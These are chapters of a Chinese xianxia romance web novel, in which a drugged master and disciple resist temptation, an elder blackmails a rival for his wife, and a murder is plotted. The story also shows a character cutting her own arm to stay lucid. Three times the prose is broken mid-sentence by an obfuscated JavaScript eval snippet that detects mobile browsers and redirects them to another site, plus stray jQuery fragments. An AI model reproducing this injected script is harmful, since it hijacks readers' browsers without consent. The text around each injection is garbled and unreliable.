她凑上前压声道:“师父,你是不是受伤了?我一直想问你今天为何这般打扮,莫非你要来圣灵宫救我吗?可是你怎会进得了圣灵宫?究竟发生了什么事?” 容珠一连串的问题让应白无法现在回答她,他后退一步,就好像要离容珠远远地,连看她都不敢,也没有回答她的问题,只有气无力道:“这香闻不得,快捂住鼻子。” 他已经先一步捂住了鼻子并背对容珠面靠墙坐了下来。容珠感觉师父今日十分异常,此刻想关心他的心情大过一切,刚想上去继续追问就听到窗户里传来一些奇奇怪怪的声音。 容珠顿时僵立在原地,脑海中赫然出现左舒圣灵对阿柔的举动,白皙的脸蛋顿时烧红一片。 一面想关心师父,一面又被自己身上的怪异感搅动。 “我……”容珠不知道自己为何这般模样,这反常的感觉与行为让她逐渐意识到哪里不对。 香……师父说不要让她闻香…… 容珠看着应白的身影只觉得特别想要靠近他,想像他们不久前重逢一样扑向他的胸膛,紧紧抱着他…… 一丝意识狠狠地拍了她的脑门,她被自己的想法惊吓到了,瞬间连连后退,面对墙壁狠狠掐了自己一下,不仅没有任何作用只觉得整个人都是滚烫的。 忽地一个声响从背后传来惊到了她,她飞速回头见应白侧身吐了口血,昏倒在地。 应白与万初的对打已经对身体造成损害,刚才又一直在压抑心中之情,这份情意,这份想法像个小鬼似的在他体内跑来跑去,按又按不住,反而愈来愈强,他用良知与道德与它抗衡,压制出了更严重的内伤,再也支撑不住,倒了下去。 看到应白倒下的一瞬间,容珠只顾着担忧紧张,她冲过去蹲在他身旁,轻轻呼唤着他,看他嘴角挂着一道鲜红血渍,在他惨白无色的脸上显得十分触目惊心。 她探了探应白的脖颈,跳动微弱,可昌修就在屋前,她没法带着应白逃离,这要怎么办? 灵力!她有灵力!她的灵力可以干什么? 她忽然想到了什么,指尖微动默念口诀,将应白的乾坤囊唤了出来,伸手在里面寻找一些能派的上用场的东西。 应白的乾坤囊里有不少灵丹妙药,容珠灵力不佳但这些东西都有什么作用她是知道的。很快她目光锁定住一个红色小瓶,从里面倒出几颗药丸嗅了嗅,果然是护心丹。 护心丹如米粒大小,入口即化,小小一颗却能保住人的一条命。她将药丸塞进应白口中,手指触碰到他嘴唇的一刹那,忽然猛地一缩。 她吓得扔了瓶子,后退数步,面对着墙把头埋在膝盖上。 眼睛看不见,听觉却更灵敏了。她毫不犹豫捂住自己耳朵,很快她又发现,闭上了眼睛,脑子里全是应白的模样,睁开眼睛,眼前就是真实的应白。 她几乎是要抑制不住地往应白身边靠近,红彤彤的脸和雪亮的眼神像个小妖似的盯住了眼前之人。 她往前爬两步就后退一步,理智和行为双重制约,等反应过来时,双手已经握住了应白的脸庞。 手指隐隐发烫,她盯着眼前之人的面容,忘了他是师父,脑中只有应白二字,浑身上下,只有一颗心在剧烈跳动。 她缓缓靠近…… 有点冰冷,像他的脸一样脆弱…… 突然,她睁大了双眼,意识到自己在做什么,震惊、心虚、羞愧齐齐上涌,慌忙将应白的脸扭到一边,随后拿起地上一块石头,撸起袖子就朝臂间一划。 疼痛来袭让她瞬间清醒了不少,她蹲在一旁,闭着眼睛,任由鲜血流落。 不知过了多久,不知是何时辰,屋内终于安静了下来。徐旻道:“以后不准私自做主叫我出来,你好歹也是水月门掌门之女,若不想门派受谣言困扰,就该老实点。” 水月门掌门有两个女儿,大女儿水露蓉,小女儿水落泽。 女人娇柔道:“旻哥,能不能求你看在我把所有灵力都传给你让你成为圣灵的份上,常来看我呢?” 徐旻敷衍道:“知道了知道了。” 一声“吱呀”响,门开了,徐旻声音惊吓道:“昌,昌,昌修圣灵,你,你,你怎么在,在,在这里?” 昌修呵呵一笑:“徐旻啊,我记得你成为圣灵的时候就放言休妻了,怎么还在和你这位没有灵力的妻子私下往来啊?” 昌修的声音如幽灵般狡黠,听得徐旻结巴道:“我, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16720800|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我,她,她,我们……” “徐旻兄,你放心,我什么都不会说的,我什么也没看见……”昌修话里有话,眼神往屋里的水露蓉身上瞟了一眼。 水露蓉捂着被子直直地盯着他。徐旻不知该如何,但听昌修说不会往外说,便道:“多谢昌修圣灵……” “不过嘛……”昌修没等徐旻说完就自顾自道,“想要我不说,徐旻兄得答应我一个条件。” 徐旻战战兢兢问:“什么?” 昌修握住徐旻的手腕,脸往前凑了凑,离徐旻不过一寸距离,慢悠悠道:“我要水露蓉。” “不行!”徐旻双眼睁得老圆,移步挡住了屋内景象。 昌修拍拍他的手道:“我又不独占,她是你的,也是我的。我听说你老冷落人家,不如在你不需要她的时候就把她给我,等你想她了再要回去如何?” 躲在屋后的容珠被这番对话惊得合不拢嘴,她看不见徐旻和昌修的表情,只听见徐旻颤颤巍巍道:“昌修圣灵,你,你不是有,有生辰礼吗?” 昌修叹息道:“使者跟我说今年就选中了十九个人,我去看过了,姿色平平,哪有水姑娘柔媚动人,这可太符合我胃口了,别的姑娘我都不要啦。” 徐旻“这这这”了半天也没说下去,水露蓉忍受不住从屋内跑了出来对昌修跪拜道:“昌修圣灵,我唯爱徐旻一人,小女卑贱,不能伺候圣灵。” 昌修见她楚楚动人的模样心中瘙痒,轻声细语道:“水姑娘不能只想着自己不想着水月门,若是旁人得知身为水月门掌门之女的你一直在骚扰徐旻,被休弃了还念念不忘,甚至用香勾引,妄图攀附圣灵宫,那水月门的名声还要不要啦?” “我……”水露蓉低低道:“我没有被休弃……” “那徐旻兄的名声还要不要啦?徐旻位列圣灵,却欺骗众人休妻,实则还在与毫无灵力的妻子有交集,多么没脸啊,哪里还有圣灵的权威?” 昌修低头看着水露蓉:“你若懂事就顺从我,我会将你安排在圣灵宫,你不仅可以日日见到你的徐旻,我还不会将事情抖搂出去,怎么样啊?” 三人静立了好一会儿,容珠全然看不见他们之间的表情,许久之后才听徐旻干哑道:“昌修圣灵,看在我们同在圣灵宫修习的份上,给我一点时间,我会说服水露蓉的。” 水露蓉难掩震惊,低呼一声,泪光闪烁。昌修十分满意地哈哈大笑,狠狠拍了拍徐旻圆润的肩膀道:“徐旻兄识时务,乃俊杰。” 昌修离去一段时间后,水露蓉啜泣不止,对徐旻悲怆道:“旻哥,你怎能,你怎能将我赠予别人?我为助你成为圣灵,将全部灵力传到你身上,伤了灵核,再不能修炼,爹爹厌弃我,妹妹无视我,我在水月门毫无立足之地,只能期盼你与我的片刻温存。我只爱你一人,发了疯似的爱你,我可以为你做一切,但我做不出叛你之事,我无法做出对我们的爱情有任何污点之事,你不能这样啊!” 徐旻大声喝道:“别说了!” 他站起来朝院门外狠狠瞪去,“我不会把你送给他的。” 水露蓉目含期盼,泪光莹莹,“真的吗?你有办法?” 容珠静静地听着,好像静了好久好久,她都开始怀疑这两个人已经走了的时候,徐旻苍老沙哑的声音一字一句道:“杀了他不就行了。” 32. 尴尬 黎明终于来临,这一夜经历所多容珠只觉像做了场噩梦,但臂上包扎好的地方又在清醒地告诉她昨夜的事还有伤口的由来。 她慌忙把袖子放下遮住包扎之处,就像是遮起了她不为人知的秘密。 容珠深吸一口气,明知应白还在昏睡着需要好好照料但也犹豫着不敢上前,只要看到他的面容就浑身一颤,紧接着脑海里便是挥之不去的那个画面。 宅院里的人都走了,清晨的寂静越发显得心里忐忑。 踌躇良久,容珠硬着头皮去探查应白状况,脉搏均匀有力地跳动着,脸色依旧虚弱无血色,衬得一双星眉与眼睫黑得摄人心魂。 她不自觉地咽了口唾沫,慌忙站起身冲出这一小方天地,心砰砰地跳着,鼻子好像要呼吸不过来。 片刻后,她稳定心神,去屋内寻了茶碗,烧了热水,想着师父总躺在那儿也不是个事。 这屋子有两小间,左边屋子已然收拾好,全然看不出昨晚旖旎的痕迹,右边屋子虽然有些潦草,但床铺收拾一下还是很干净的。 容珠一不做二不休,不容自己犹豫墨迹,跑到应白身边试着叫了他几声都没应答。 看来一时半会醒不了,她费了好大一番力气将应白一只手臂搭在自己脖子上,再将他扶起前行。 跌跌撞撞来到床前,歪着身子想将他放下,不想脚底被床边的一小块台阶绊倒,应白身子猛地一重,容珠一屁股倒在床上,疼痛直达脊椎,她频频低呼,丝毫没有注意到某人渐有醒转势头。 应白意识渐清,感觉头脑一片疼痛昏沉,像有许多东西堵在里头,胸口也沉闷压抑,抬起手想在太阳穴处按压舒缓,却感觉手指好像拂过一片肌肤,抬头一望…… 脸被毫无防备地触了一下,容珠忽然意识到师父已醒,紧张羞愧之感再度来袭,呆傻地不知如何是好便迎上身上之人一双迷蒙尚未清明的双眼…… 昨夜的记忆刹那间涌入脑海,应白看清眼前之人是容珠的一刹那间,不好的预感侵蚀着他的大脑。 他丝毫不记得后来发生什么事,仅存的理智逼迫自己去回想也毫无结果,他只知道现在,此刻,自己贴在容珠身上…… 两双大眼彼此惊看着对方,应白猛地起身,因身子还未缓和过来而承受不住力量,歪倒在地,雪白的脸霎时极有血色,红润得像要溢出血,与他一双慌张无比的眼神相结合,仿佛虚弱之色尽数退散,整个人精神得异常。 “我,我,我对你……我对你……”应白不敢看她,干裂的唇半天说不出一句完整的话,强烈的自责与悔恨不断在他心头扩散,他竟然,他竟然…… 他眉头紧皱,对自己的所作所为感到痛恨,当他意识到那香味有问题后就该捅自己几刀才对,怎能连这点抵抗之力都没有! “不是的师父!”容珠霍然站起身,本来什么也不懂的她在看过一次和听过一次的经历后已经明白应白在说什么。 她解释道:“什,什,什么也没发生,我只是,只是看你还未醒,想把你扶到床上而已。” 两人各自眼神躲闪,整个屋中除了对方所在之地外,二人目光几乎触及到了各个角落。 桌角的两个蚂蚁正一起抗着一块食物,好像被什么飘忽不定的东西灼烫到,匆匆忙忙地撤离了。 应白听完容珠之言仍旧惊魂未定,不放心道:“可刚才,我压倒你了。” 他尽量说得隐晦,容珠一想起刚才情景,脸颊登时绯红一片,“因为师父你有点重,我,我没扶稳就……然后你就醒了。” 好半天应白才缓和过来,起身在近处一把椅子上坐下,又问:“我可有对你做出不轨之举?” 虽然应白在问他自己做没做,但容珠一阵心虚,摇摇头帮应白回忆:“师父你昨晚告诉我那香闻不得后没多久你就吐血晕过去了,一直到刚刚才醒。” 得知自己并没有轻薄容珠,应白紧握的手才慢慢松开,几不可察地呼了口气,想起了什么又问:“你可知昨晚昌修为何出现在此地?” 应白并不是想知道昌修要干什么,他想借这个问题侧面询问容珠昨晚是否清醒,在她身上有没有发生什么事,有没有被昌修发现,被人欺负之类的。 不过见容珠好好的站在这里,想来应该没有什么意外之事。 容珠见应白转移了话题,心下一松,道:“昌修圣灵看上了水露蓉,就是徐旻圣灵的妻子,他问徐旻圣灵要人,徐旻圣灵口头答应,但待昌修圣灵走后,徐旻圣灵说要杀了昌修圣灵。” “他们什么时候走的?” 容珠答:“大概离天亮也不远了。” “你一整晚都在清醒着吗?” 容珠的心漏跳了一下,点点头“嗯”了一声。 幸亏昨晚师父昏睡过去了,不然那般煎熬痛苦的时光要如何度过,说清醒是假的,她不总是清醒着的,不然也不会做出那件事。 她眼神有意无意地瞟了一眼自己左胳膊那包扎之处。 应白也不知道在想什么,有些出神,好半天才说:“徐旻想杀昌修?” 圣灵宫那些污糟事应白略知一二,想当初他也跟别人一样对圣灵宫抱有一种神圣的敬仰,等自己成了圣灵住进去后才渐渐发现光辉之下的丑恶。 如今他与圣灵宫毫无关系,里面的恩怨也无关他事,谁杀谁就让他们自己玩吧。 喉间一阵干痒之意,他咳了几声,容珠见状将烧好的水倒出一杯端来给应白,应白眼尖,一眼看到了容珠左胳膊的衣料下有一圈东西在里头。 衣料是细纱堆叠,隐隐约约能看出点模样,就像手臂这处地方受伤了被包扎起来一样。 应白想着自己昨日在幽静小道上扶起即将摔倒的容珠时就是握着她的左胳膊,他可以很确定当时这条胳膊上并没有这么个东西,莫非昨晚还是发生了什么事? 从容珠手中接过茶放到唇边抿了一口,应白按捺不住问:“你有没有受伤?” 这话问得突然,容珠下意识以为是应白发现了什么还是想起来了昨晚的事,当即否认道:“没有师父,我好得很。” 容珠装得一本正经,应白便没有再过问。两人在此地休息了一个时辰才动身出发。 路上容珠问应白昨天到底发生了什么事。 应白好似十分轻松地将他怎么找到连逸,怎么进清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16725158|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凌门,怎么尝试说服容檀结果被拒,怎么吃了能在一个时辰内让自己灵力到达巅峰状态的药丸后去公然抢护身符…… 这丹丸极其珍贵稀有,他当年抱着学习的心态费了很大精力也没有制成,最终还是师父炼出来的,没有灵核也能派上用场。 因要付出自伤的代价,他在服用这颗丹丸前还吃了护心丹加强自身抵抗。 此种种哪一样不是极其凶险之事,应白却像在闲聊一样。 容珠都能想象到容檀会如何嘲讽师父,但她想象不到师父在清凌门做了三个月饭的情形,想象不到师父是抱着何种心态在生辰宴当天给昌修做饭,想象不到师父在抢了护身符后怎么与众多圣灵纠缠。 他的伤一定很重,所以昨日才会那般虚弱。 这一切的一切只为救她,她震惊,后怕,也高兴。一种被关心被看重的温暖之意包裹心间,她垂眸欣慰地笑着,道了句:“师父,谢谢你。” 两人间隔一指的距离行走着,偶有衣料相互摩擦,应白温和的声音从头顶传来:“师父救徒弟理所当然,倒是不曾想过你已经从圣灵宫下来了。说说你都经历了什么?何时能说话了?” 容珠抬头一笑,将她如何扮作婢女逃出去,如何撞见阿柔、遇见左舒圣灵、左舒圣灵治好她的嗓子、左舒告诉她下山道路等等事件说了出来。 应白驻足,有些不太相信问:“左舒怎会告诉你他的下山之路?据我所知他成日将自己关在房中,一心想复活他的妻子,除了妻子,左舒眼中不关心任何人,你是怎么做到的?” 问及此,容珠尴尬道:“那是因为我发现左舒爱妻这一特点,就想用这一点感动他,然后他就被我感动了,就告诉我下山之路了。” 应白仍不解,追问道:“所以你是怎么感动他的?” 容珠背对应白道:“我跟他说,说我也有一个心爱之人,我和他彼此深爱,只求共度余生,白头到老,离开他我就活不成,我想和他成亲。他就同意让我偷偷下山了。” 身后久久不曾传来动静,容珠忍不住回头去看应白。 太阳在他身后散发着灼目光辉,将这道身影镀上一层金色的光,晃得容珠抬臂挡了挡光线,这才看清应白一双棕色的眼眸定定地望着她。 他的瞳孔总像个引人入胜的漩涡似的,看一眼就仿佛要深陷进去,移不开眼。 “真的吗?”应白双眸平静,又好像这平静的水面下蕴藏着暗流涌动,“你心里真的有这样一个人吗?” 容珠奇怪,以为应白也相信了她的鬼话,于是笑道:“当然是假的了,那是骗左舒圣灵,谋取他同情的权宜之计,说出这番话可费了我好大心神,我哪里知道这些。” 说后半句话的时候容珠已经转过身,她不想让应白看见自己无措的模样。 在应白心里,他认为容珠不是一个会说谎话的人,所以当她说自己有喜欢之人的时候应白便想这有没有可能是真的? 等亲耳听到容珠说不是后,他那不知被什么东西捏住了心的力道才渐渐松开。 他嘴角缓缓上扬,夸赞道:“懂得用他人软肋为自己谋取生机,你很聪明。” 33. 出发 清凌门弟子自从经历生辰宴上与水月门那一战后个个对连逸刮目相看,尊敬、崇拜、谄媚、嘘寒问暖等各种交流使连逸应接不暇。 容檀即便看连逸不顺眼也因他为自己解围,为清凌门争光一事而对他态度大大好转。她找了个空隙问连逸想不想去升阶。 “我会给万初圣灵写升阶信,允许你去天阙台重新考核灵阶。” 派内弟子经掌门同意可以去天阙台考核自己灵阶,如要考核中灵灵阶,圣灵宫会派一位中灵使者下去比试,一炷香内能站起来就算考核通过。 历来掌门并不会允许弟子单独去考核灵阶,如若弟子升阶便意味着有可能脱离门派,另寻高就。这便浪费了对弟子的多年栽培,还使门派少了一位人才。 即便弟子升阶,还得跟着门派的灵阶走,门派是低灵,弟子即便是高灵也得挂着低灵的头衔,是以一般人绝不忍受这般落差,几乎都离门派而去。 但大多数人一辈子能成为中灵就已不错,升阶十分困难,是以这种情况并不多见。 容檀之所以相信连逸不会离开清凌门很大一部分原因是容江说过连逸不会走。 “连逸与旁人不同,他曾跟我说不想再在任何一个门派里修炼,他留在这里只为寻找一个继续修炼的理由,你就算跟他提升阶他也未必感兴趣。” 容檀不信,升阶本该是一件高兴之事,换做哪个弟子都渴望自己能晋阶。此刻她问完后见连逸微微躬身,揖礼道:“回掌门,我不想晋阶。” 容檀诧异:“你说什么?” 连逸垂首道:“我之所以一直将灵阶标识隐藏起来是因为它并不能代表一切,否则我也不会战胜水落泽。是黄色还是蓝色都不会影响我的实力,只要我一天是清凌门的弟子,自会为清凌门的未来而刻苦修炼,但不是为了升阶,这不是我追寻的意义。” 容檀像看个怪物似的看着连逸:“修炼就是为了升阶,若这不是人一生要追寻的东西,那什么才是有意义的?” 连逸抬头直视高处容檀,眼神清明坚定。 “能保护想保护之人,拥有人之情感,不以强弱定尊卑,做到心怀仁爱,这便是我想去实行的人生意义。“ 三月前父女谈话的情景赫然出现在容檀的记忆中,当时容江跟她说她这般聪明,定能发现这个世界存在的问题,她母亲留下的信就是最好的答案。 那封信容檀从小到大已经读过千百遍,那是母亲留下的唯一东西。 母亲在信上写了很多东西,归根结底就一句话,她说自己一生都在过于追求灵阶高低,慕强没有错,但与亲情相比,它不值一提。 父亲曾对她说过,成婚那会儿,他和母亲都是中灵,修真界成婚只有一个目的,便是强强联合,为了提升各自灵阶各取所需。 婚后,母亲不常在家,每次回家身上都挂着伤,她要不断去跟各类人切磋来增长自己的灵力。 父亲给她疗伤,劝她修炼一事不可着急,但母亲仍旧对自己很严格,即便清凌门有上好的修炼之地和各种精丹,母亲也依然不愿常在清凌门。 渐渐地,母亲开始督促父亲,希望他能和兄长容山争一争,让父亲坐上清凌门掌门之位,但父亲说他不愿当。 两人因为这件事经常争吵。母亲说父亲不思进取,无用无能,父亲说母亲因灵阶高低而迷了心智。 后来母亲在一次与人对决中忽感身体不济,差一点就要被对方取了性命,父亲及时到场,将母亲带回去疗伤,这才发现母亲怀孕了。 怀孕后的母亲不能修炼,每日郁郁寡欢,父亲便用更多的时间陪伴母亲,可母亲日日焦虑,担心自己十个月不能修炼,灵力一定会比别人差一大截。 她再次对父亲说要争取清凌门掌门之位,但这件事很快有了结局。 父亲的兄长容山资质好,天赋高,成为了清凌门新任掌门。母亲更加憔悴死气,身体每况愈下,父亲很担忧,但自己的陪伴与劝说根本不能缓解母亲分毫。 容山的妻子知道了母亲的情况后便时常找她说话,父亲想两个人都是孕妇,一定有很多共同语言。 一天天过去,容江不知道嫂嫂跟妻子说了些什么,妻子的胃口开始好转,气色也好了起来。 一月一月过去,妻子也慢慢开始主动跟他说话,对他露出笑容,这让容江很是欣慰。 生产时,妻子因身子在怀孕初期受损严重导致难产,只保住了孩子,弥留之际,妻子握住他的手说: “我从前一直过于看重尊卑灵阶,忽略了世间最宝贵的东西就在身边,可我明白得太晚,你陪了我这几年我却没办法再陪你一生,人人都说爱最低贱,现在我不这么认为了,我只后悔自己一直辜负你的爱意,逼得我自己喘不动气也让你心中郁结,我已经写好了一封留给孩子的信,希望你能好好教导她,不要被这个世界带偏,不要重走我的弯路。” 究竟是为什么? 明明强者为尊,弱者低贱,人人都为了变强而穷尽一生在刻苦修炼,可母亲说它不值一提,父亲说它不对,现在连连逸都说不以强弱定尊卑,要心怀仁爱。 每个人都遵守的世界规则怎会有错? 这个世界千百年来都是靠这个规则运行,怎么可能有问题? 她不明白,从母亲的信上根本找不出一点所谓的答案,可连逸的这句话让她产生了恍惚,有一丝疑问划过心间:人要拥有爱吗? 她知道连逸在责怪她没有救容珠,可怜悯与同情是低贱的,按照世界规则来看,她没有做错…… 她想不明白,心中困顿难解,似乎周围的人都在鼓动着她去干一件与世界为敌的事。 她闭上眼睛,一副无精打采的样子,对连逸道:“不去就不去,我听不懂你在说什么,出去吧。” * 生辰宴过后第三日,抓捕应白的帖子从圣灵宫下发至各大门派与民间,到处都张贴着白纸黑字,一个惟妙惟肖的人脸画在上头,像一个穷凶极恶的大魔头要从魔界出来祸乱人间。 纸张下方一行金灿灿的小字更是夺目耀眼:抓住应白者可去圣灵宫领赏。 人人皆知存灵堂的灵核没有被拿走,应白如同一个四处逃窜的羔羊,虽然找起来可能颇为费事,但对自己构不成什么威胁,加上奖励如此诱人,人人都拿好装备开始四处搜寻,一时之间,田野乡下都有各派弟子下来探查,任何地方都不放过。 通缉令张贴不过一日时间,应白二字便再次骚动了整个世界。 清凌门忙于提升实力没有功夫去找应白,但不能违拗圣灵宫的命令,于是容檀就派连逸和几名资历不错的弟子出去搜寻。 被选中的弟子暗自庆幸自己不用进行魔鬼训练,高兴得仿佛是出去游山玩水一样。 他们只知清凌门曾经新来一个厨子,后来因犯了事撵出去了,“没想到低贱之人做饭还这么好吃,才干了三个月就走了,真可惜……” 应白说这段时日不能回应夫人的宅院中,以免牵连母亲,如今走到哪里都十分受限,连累容珠要跟他这个通缉犯在一块东奔西走。 容珠正挽袖蹲在火炉旁给应白熬药,药气蔓延,她颇自责地问:“师父,我是不是拖累你了?要是我能警惕些就不会被人掳走了,要是我灵力再强一些,那些村民我就能应付……” 应白想拍拍容珠的后背安抚她,手刚伸出又缩了回去。 “与你无关,归根究底是他们起了坏心思,从头至尾你都是受害者,不要妄自菲薄,你可是凭一人之力从圣灵宫逃出来了,不需要灵力你也有这本事,不是吗?” 容珠拨弄了一下柴火,火星滋滋啦迸发着,她嘴角含着浅浅笑意,并不言语。 “那日晚上我得知你不见时,潜进了好几户人家搜寻都没找到,你嗓子不能说话是不是也与此有关?” 容珠点头,想起那男人对自己所做种种,心里生气,愤慨道:“就是那日我们出去买菜往回走时我想去扶的那个人,他把我套进麻袋里关在地下一个地方,要是我再看见他一定会教训回来!唉,我还弄丢了师父你送我的珍珠簪子,对不起。” 一经提醒,应白扬起笑容从怀中拿出这样东西在她眼前晃荡两下道:“我捡到了。” 珠光闪烁,容珠定睛去看,随即十分欣喜地接过它细细看去。 “完好无损,我来给你带上。” 珍珠簪子从手里轻轻拿走,面前之人微微前倾,应白抬起手臂将簪子装点在她乌黑的发丝间。 长睫在胸前扑闪了一下,炉火烤得她小脸红扑扑的,鼻尖因烘烘热气而浸上一层细密的汗珠,一双黑眸星光璀璨。 应白收回呆滞的目光,看向窗外,“过几日我们就去南海,几时再回来还不好说,这里还有一些我之前留下的东西,我拿出去把它们典当了。“ 这些东西都是应白当圣灵那会各大门派送来的贺礼,应白说一句不要,这些人还以为应白看不上自己送来的东西,十分惶恐地又回去准备更丰盛的贺礼。 初出茅庐的应白十分不解,推脱不掉只好收下,后来在圣灵宫住不惯又将东西搬到这里。 凡是丹药一类的东西应白打算留下给容珠用,其他珠宝玉盏一类的摆设之物应白全都拿去当掉了。 容珠还是有些担心外面的追捕,应白道了声安心就出去了。 过了一会儿,容珠也出门了。 根据记忆,她来到绑架她的那个人门前,这份羞辱和恨意她不能就此作罢,按说她现在有能力杀了他们,但容珠握了握拳,不想让自己刚有一点灵力就按照从前的思想处事,她要以牙还牙,药哑那个死男人! 可没想到一进屋,扑面而来的腐臭味直冲鼻间,地上躺着两具死尸,身上没有血迹,两张脸仿佛干枯了的树叶,只剩一张皮摊在地上,容珠恶心得后退一步。 男人和他妻子的死法分明出自修炼之人手笔。 她不知道,当昌修座下的使者发现她不见了,又一直找不到时,深知她逃跑了,使者庆幸自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16734354|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己没有一早报给昌修圣灵生辰礼数目,各人都约定好谁也不说出这件事,到时就说只留下十九人。 然后,这些人来到这人家里,以耍弄圣灵宫的理由把二人残忍杀死,过了这么长时间一直没人发现这户人家死了人…… 容珠关上门缓缓往回走,新鲜的空气仿佛将她身上的污浊洗涤干净,说不出的畅快舒心。 几日后,应白的身体已经恢复得差不多了,二人启程去南海。 容珠已经可以用灵力支撑起一个小小乾坤囊了,应白将典当得来的沉甸甸的财物交给容珠收纳。 从这里到南海走走停停也得七天时间,为赶时间,应白雇了辆马车,自己化身成一个饱经风霜的车夫,眉毛和胡子全是贴上去的,斗笠一带,加上穿了个破旧的灰衣,不仔细辨认丝毫看不出来与画像上之人相似。 容珠笑看应白,说他是个小老头,应白开玩笑道:“你敢取笑师父,罚你抄写心法十遍。” “啊……”容珠半信半疑,见应白回眸一笑,她好奇问:“师父,是不是从前师公也这么罚你啊……” 应白笑而不语,童年的记忆纷纷从记忆深处涌现,他回味良久才道:“小时候我经常叫师父小老头,师父一听就生气,生气了我就跑,每回都跑不过,然后就被罚抄写心法,抄个三天三夜不歇息。” 容珠讶然,她完全想象不出应白调皮的模样,总觉得年少成名之人幼时一定会为了修炼废寝忘食,用十二分的刻苦,十二分的努力方有今日成就。 应白忆起往事,怀念之余又有伤感。 他拜师以来学习什么功法都特别快,一年以后已经能用习得的剑法斩杀小妖。师父夸他有天赋,他骄傲,不好好练功,开始摸鱼戏水,甚至十分不尊敬地叫他小老头。 后来师父提醒他不要太过自信,要懂得灵活变通,做一个外暗内明之人。 他听进去了但没有真正领悟这些东西,所以成名后对于这个他认为十分病态的世界一心一意予以说教,认为自己的观点是绝对的真理,对外来的一切警告刚折不弯,最终被圣灵宫所不容忍,成了祸乱世界的疯子、魔头,直到被关漩涡之境。 淅淅沥沥的小雨从天飘落,容珠将脑袋探出窗外问他要不要停车避雨。 他木然道:“雨还小,不要紧。” 一丝胆怯从心底升起,他如此自负,一意孤行,从年少成名的佼佼者沦落为声名狼藉的祸乱者,如今要伪装模样潜逃在外躲避搜查,这样的人怎配当容珠的师父,怎配去喜欢她,怎能护她周全? 心思紊乱间不曾察觉车帘掀开,余光里忽然出现的身影拉回了他的思绪。 容珠戴着斗笠坐了下来,绵绵细雨铺在脸颊上,潮湿冷意阵阵袭来。 他侧头问:“怎么出来了,别看这雨小,坐一会衣服就湿了。” 容珠两只手交叉放在膝盖上,有些犹豫又有些期待地问:“师父,能不能再给我讲讲你小时候的事,我想听。” 应白微讶,手里控制着缰绳不让马跑偏,眼睛看着前方道路,低低问:“为什么想听?” 容珠低头,手指头胡乱划着脚边木板,“从前都是从别人口中听说师父怎样怎样,如今你就在我身边,我想了解师父的过去,想了解真实的你。” 小雨密集,秋日渐凉,激得应白身子一颤,“少不更事,徒有些小聪明罢了,怕说出来让你笑话。” 容珠往前凑了凑,“师父还记得自己八岁那年的事吗?” 这话问得突然,应白莫名有些紧张,八岁那年他在干什么? 八岁那年生辰是他拜师来第一次回家看望母亲的日子,母亲煮了完长寿面给他吃,嘘寒问暖一番,等到太阳落山后他又依依不舍地回到了东林山。 八岁那年民间逢水怪,多地被淹,原本要来除妖的某个门派因妻子生产在即而没有来,他用三天时间成功斩杀了水怪,获取了其体内精丹镶嵌到了他的佩剑上。 八岁那年他养的小狗病死了,师父又给他一只,他说不是他那只小狗别的小狗都不要,以后再不养狗了。 …… 或许还有别的事,过去太多年,应白已经记不全了。容珠听得津津有味,侧头问:“师父想知道那时候我在干什么吗?” 应白其实很想听容珠对他的评价,但容珠听完后只是点点头又问了他这个问题,他心不在焉,下意识问:“在干什么?” 容珠傻笑道:“那一年我刚出生,还是个连话都不会说的娃娃,师父那时已经能斩妖除魔了,好生厉害,师父以后还会收徒吗?” 收徒……他从没想过收徒,收她为徒也只是私心而已。她的话头转变过快,应白其实还没完全反应过来,脑子有些木讷的回答:“不收,有你就够了。” 他没察觉到容珠略微惊讶的神色,只一味沉浸在当年她还是个连话都不会说的娃娃这句话上。 八岁。 八年。 他在想,刚出生的容珠会是什么样子? 34. 心跳 几日奔波赶路十分耗费精力,又逢连日秋雨,马儿也懒怠疲惫。早间进城时,城门上方写着南岭城三字预告着他们离南海很近了。 “晚上我们在此地休息一晚,明天再赶路,晌午之前应该能到。”应白引领着马儿在街上徐徐走着,斗笠下的一双棕色眸子在暗中观察周围景象。 从前日开始他就感觉到有人在跟着他们,初时不甚在意,因只一人,有可能只是顺路,但连续三日都如此巧合地跟在他们身后,根本就是别有用意。 容珠满脑子都沉浸在即将到达南海的欣喜当中,这份欣喜有一部分来源于劫后重生的自由,有一部分来源于即将去往天外天的好奇,还有一部分来源于应白在身边的安心。 南海地处偏远,这里渔民居多,甚少有修炼者,由于靠海,所以这一带经商海鲜的铺子有许多,摊贩横刀一砍,鱼血淋漓,咸腥臭鱼味充斥着每一条街道。 